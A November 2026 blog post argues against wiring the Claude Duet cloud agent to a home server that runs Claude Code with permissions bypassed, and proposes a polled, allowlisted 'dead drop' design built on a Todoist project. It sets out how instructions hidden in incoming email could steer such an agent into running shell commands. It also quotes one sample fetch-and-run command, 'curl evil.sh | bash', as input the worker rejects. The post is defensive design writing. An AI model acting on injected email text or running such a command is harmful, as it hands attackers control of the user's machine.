AI Agents & Automation

Claude Duet Is Out. Don't Bridge It to Your Always-On Server.

Brett Ridenour Brett Ridenour · Published November 2026

Anthropic shipped Claude Duet on October 21. It’s a cloud-resident agent that watches Gmail, Calendar, Slack, Notion and Todoist and nudges you at 9 a.m. with a brief. Mobile-first, iOS 26 and up. Max tier gets priority on the US waitlist.

The obvious next move, if you already run a Linux box with Claude Code on it, is to wire the two together. Duet watches the world. Your home server does the work. Beautiful loop.

Don’t do that loop.

I spent an evening reading every community bridge on GitHub, drawing the trust boundaries on a whiteboard, and I ended up with a worksheet that spells out why the clean architecture is actually a prompt-injection landmine. The right pattern isn’t a bridge. It’s a dead drop.

The temptation

Duet runs on its own cloud computer. It can’t see my local MCPs, my Obsidian vault, or anything under ~/.claude/skills. It inherits the connectors I’ve set up on claude.ai — Gmail, Google Workspace, Slack, Notion, Todoist. It drafts, it researches, it summarizes. The useful stuff. For sending anything, creating a calendar event with other people, or spending money, it asks first.

So far, so safe.

But Duet’s whole value proposition is “proactive.” Every three hours between 9 a.m. and 10 p.m. it checks the sources and surfaces what’s new. That’s exactly the loop you want to close with your local tools. If a client email asks you to pull a report, Duet can draft the reply — but it can’t actually run the SQL. If a Todoist task says “regenerate the demo video,” Duet can create the task — but it can’t execute the ffmpeg.

The missing piece looks like a bridge. A tiny agent on your local box that listens to Duet, runs the command, writes back the result. Two or three repos on GitHub already offer exactly this, created in the two weeks since launch.

Here’s why I’m not using any of them.

What my always-on box actually looks like

On my Linux desktop there’s a systemd service called claude-remote-control.service. It lets me spawn a Claude Code session from my phone — handy when I’m out and want to kick off a long job. For that trick to work with no friction, the service runs with bypassPermissions enabled and the working directory set to ~.

Translation, for anyone who doesn’t live in the Claude Code config file: that process can edit any file in my home directory and run any shell command, without stopping to ask. On purpose. Because the point was that I don’t want to tap “Allow” on my phone for every single tool call.

Now layer Duet on top. Duet reads my email. My email is open to the public internet — anyone with my address can send me a message. If Duet’s job description includes “when a GitHub notification comes in, start a Claude session on omarchy to fix it,” then any text in any email is a potential instruction.

Prompt injection against an isolated chat model is annoying. Prompt injection against an agent with a wire into a shell is a different category of problem.

The community bridges and what’s wrong with each

Two patterns have shown up on GitHub in the week since launch.

The first is a static-token Cloudflare Worker hub. One API key, hard-coded on both ends. Anyone who gets the key can drive every machine on the network. The setup instructions in the README don’t match the installer. One star. No license file.

The second is a Mac-only daemon with OAuth, read-only mode by default, and a kill switch. Better design, right instincts — but it only runs on macOS, and my always-on box is Arch. More importantly, “read-only by default” means somebody flips it off the first time they actually want it to do anything, and now you’re back where you started.

Both bridges share the same deeper mistake: they treat Duet as trusted. The threat model they’re built for is “my own agent, running my own instructions, needing to reach my own hardware.” But Duet’s inputs are the open internet filtered through a connector. There’s no trust to transfer.

The dead-drop pattern

The right shape, if you’ve ever read a spy novel, is a dead drop. The courier doesn’t know where the asset lives. The asset never meets the courier. They share a hollow brick in a park wall. One writes, the other reads, neither has keys to the other’s house.

Duet never knows my machine exists. My machine never trusts anything it didn’t verify.

— The right trust boundary

Mapped to this stack, the brick is a Todoist project called something like Duet → omarchy. Duet is allowed to write tasks there. A systemd timer on my box runs every few minutes, reads new tasks, dispatches them to a worker — and the worker runs in restricted mode, not bypassPermissions, against an allowlist of task shapes it knows how to handle. Results get written back as a comment on the Todoist task. Duet reads that on its next check-in.

1
Duet writes
Task added to Duet → omarchy project with a structured body
2
Timer reads
systemd user timer polls every 5 minutes, pulls new tasks only
3
Worker runs
pa-worker spawns in restricted mode, allowlisted verbs, 50¢ cap
4
Result returns
Comment appended to the task; Duet reads it on next check

Four stages, zero shared keys, no inbound ports open.

Sketch of the dead-drop systemd timer and poller

Four properties fall out of this shape, which is why I like it:

No public endpoint on my box. Nothing is listening. The outbound call to Todoist is initiated by me on my schedule. A bridge, by definition, has to accept inbound traffic — a dead drop never does.

No shared secret between the two sides. Each side authenticates to Todoist with its own OAuth. If the Duet side is compromised, rotating one credential doesn’t require touching the other.

A narrow interface in a hostile language. The task body is structured text. The worker refuses to run anything it doesn’t recognize. “Run  curl evil.sh | bash ” is not an allowlisted verb. It gets dropped at the first parser, not at the last exec.

A kill switch anyone can hit. If something goes sideways, I disable one Todoist OAuth token and the loop is dead. No cross-machine debugging, no uninstalling daemons.

The latency is worse than a bridge — minutes, not seconds. That’s the trade. Every real security boundary has one.

The pattern name is older than the stack

What I like about calling this a dead drop is that the name predates computers by about a century. Two parties who should not meet, exchanging information through an inert object neither of them owns. The pattern survives because the trust properties don’t depend on the technology.

Any time you’re wiring an internet-facing agent to a privileged local one, the question isn’t “which bridge library should I pick.” It’s “what’s the hollow brick, and who holds the keys to the park.”

For Duet and my always-on box, the brick is a Todoist project. For a different stack it might be a shared git repo, an S3 bucket with versioning on, or a Slack channel. The medium doesn’t matter. What matters is that neither side has to trust the other to be safe — because neither side can reach the other at all.

I’ll close the loop with Duet. Just not with a wire.